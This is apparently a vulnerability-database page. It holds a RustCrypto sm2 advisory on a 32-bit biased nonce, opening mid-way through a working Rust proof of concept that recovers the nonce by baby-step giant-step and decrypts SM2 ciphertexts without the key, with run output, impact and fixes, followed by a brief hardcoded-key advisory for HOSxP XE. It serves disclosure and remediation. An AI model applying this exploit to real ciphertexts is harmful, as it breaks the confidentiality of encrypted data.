{\n c2[offset + i] ^= ha[i];\n }\n offset += xor_len;\n ct = ct.wrapping_add(1);\n }\n}\n\n/// Decrypt ciphertext given recovered k and recipient public key (without secret key).\nfn decrypt_with_k(pubkey: \u0026PublicKey, k: U256, ciphertext: \u0026[u8], mode: Mode) -\u003e Result\u003cVec\u003cu8\u003e, Box\u003cdyn Error\u003e\u003e {\n // parse c1\n let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32\n let c1_len = n_bytes * 2 + 1;\n if ciphertext.len() \u003c c1_len {\n return Err(\"ciphertext too short\".into());\n }\n let (_c1_bytes, rest) = ciphertext.split_at(c1_len);\n\n // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB\n let pb_affine = pubkey.as_affine();\n let k_scalar = Scalar::from_uint(\u0026k).unwrap();\n let s = *pb_affine; // cofactor h == 1\n let hpb = (s * k_scalar).to_affine();\n\n // split rest into c2 and c3 depending on mode\n let digest_size = 32usize; // SM3 output size\n let (c2_slice, c3_slice) = match mode {\n Mode::C1C2C3 =\u003e {\n let c2_len = rest.len() - digest_size;\n rest.split_at(c2_len)\n }\n Mode::C1C3C2 =\u003e {\n let (c3, c2) = rest.split_at(digest_size);\n (c2, c3)\n }\n };\n\n let mut c2 = c2_slice.to_owned();\n // KDF to recover plaintext\n kdf_sm3(hpb, \u0026mut c2);\n\n // verify c3\n let mut check = Sm3::new();\n let enc = hpb.to_encoded_point(false);\n check.update(enc.x().unwrap());\n check.update(\u0026c2);\n check.update(enc.y().unwrap());\n let out = check.finalize_reset();\n if out.as_slice() != c3_slice {\n return Err(\"c3 verification failed\".into());\n }\n\n Ok(c2)\n}\n\n/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.\nfn recover_and_decrypt(pubkey: \u0026PublicKey, ciphertext: \u0026[u8], mode: Mode) -\u003e Result\u003cVec\u003cu8\u003e, Box\u003cdyn Error\u003e\u003e {\n // extract C1\n let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32\n let c1_len = n_bytes * 2 + 1;\n let (c1_bytes, _rest) = ciphertext.split_at(c1_len);\n let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;\n let c1_affine = AffinePoint::from_encoded_point(\u0026encoded).unwrap();\n\n if let Some(k) = bsgs_recover_k(\u0026c1_affine) {\n println!(\"recovered k = 0x{:x}\", k);\n let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;\n return Ok(plain);\n }\n Err(\"failed to recover k\".into())\n}\n\nfn main() -\u003e Result\u003c(), Box\u003cdyn Error\u003e\u003e {\n // demo: generate keypair, encrypt, then recover and decrypt without secret key\n let mut rng = OsRng;\n let sk = SecretKey::try_from_rng(\u0026mut rng)?;\n let pk = sk.public_key();\n let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);\n let msg = b\"attack-demo-sm2-bsgs-recover-example\";\n let ct = ek.encrypt(\u0026mut rng, msg)?;\n print!(\"Trying to recover k and decrypt...\\n\");\n let recovered = recover_and_decrypt(\u0026pk, \u0026ct, Mode::C1C2C3)?;\n println!(\"recovered plaintext: {}\", std::str::from_utf8(\u0026recovered)?);\n Ok(())\n}\n\n```\n\nTo run the PoC (tested on Apple M3): \n\n```bash\n$ time cargo run --example bsgs_recover \nTrying to recover k and decrypt...\nrecovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79\nrecovered plaintext: attack-demo-sm2-bsgs-recover-example\ncargo run --example bsgs_recover 14.44s user 0.13s system 89% cpu 16.266 total\n```\n\n\n\n### Impact\n\nThis vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).\n\nThe severity is **Critical**, as it breaks the core security promise of the public key encryption scheme. All versions of the `sm2` crate with the vulnerable PKE implementation are affected. \n\n- Fix 1: Modify the input parameter to the correct 256 bits\n\n ``` rust\n let k_uint = next_k(rng, N_BYTES * 8)?;\n ```\n\n- Fix 2: We believe that the `next_k` function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.\n\n ``` rust\n fn next_k\u003cR: TryCryptoRng + ?Sized\u003e(rng: \u0026mut R) -\u003e Result\u003cU256\u003e {\n loop {\n let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;\n if !bool::from(k.is_zero()) \u0026\u0026 k \u003c *Sm2::ORDER {\n return Ok(k);\n }\n }\n }\n ```\n\n \n\n### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.\n\n\n\n### Note\n\nSM2 follows the security industry standard disclosure policy\u2014the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.",
"id": "GHSA-w3g8-fp6j-wvqw",
"modified": "2026-01-11T14:56:33Z",
"published": "2026-01-09T22:27:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-w3g8-fp6j-wvqw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22698"
},
{
"type": "WEB",
"url": "https://github.com/RustCrypto/elliptic-curves/pull/1600"
},
{
"type": "WEB",
"url": "https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731"
},
{
"type": "WEB",
"url": "https://github.com/RustCrypto/elliptic-curves/commit/e4f77788130d065d760e57fb109370827110a525"
},
{
"type": "WEB",
"url": "https://crates.io/crates/sm2/0.14.0-pre.0"
},
{
"type": "WEB",
"url": "https://crates.io/crates/sm2/0.14.0-rc.0"
},
{
"type": "PACKAGE",
"url": "https://github.com/RustCrypto/elliptic-curves"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SM2-PKE has 32-bit Biased Nonce Vulnerability"
}
GHSA-W3JP-95Q8-WV48
Vulnerability from github – Published: 2025-01-07 21:30 – Updated: 2025-01-09 18:32Bangkok Medical Software HOSxP XE v4.64.11.3 was discovered to contain a hardcoded IDEA Key-IV pair in the HOSxPXE4.exe and HOS-WIN32.INI components. This allows attackers to access sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-53522"
],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T20:15:30Z",
"severity": "HIGH"
},
"details": "Bangkok Medical Software HOSxP XE v4.64.11.3 was discovered to contain a hardcoded IDEA Key-IV pair in the HOSxPXE4.exe and HOS-WIN32.INI components. This allows attackers to access sensitive information.",
"id": "GHSA-w3jp-95q8-wv48",
"modified": "2025-01-09T18:32:13Z",
"published": "2025-01-07T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53522"
},
{
"type": "WEB",
"url": "https://www.safecloud.co.th/researches/blog/CVE-2024-53522"
},
{
"type": "WEB",
"url": "http://bangkok.com"
},
{
"type": "WEB",
"url": "http://hosxp.com"
},
{
"type": "WEB",
"url": "http://hosxp.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.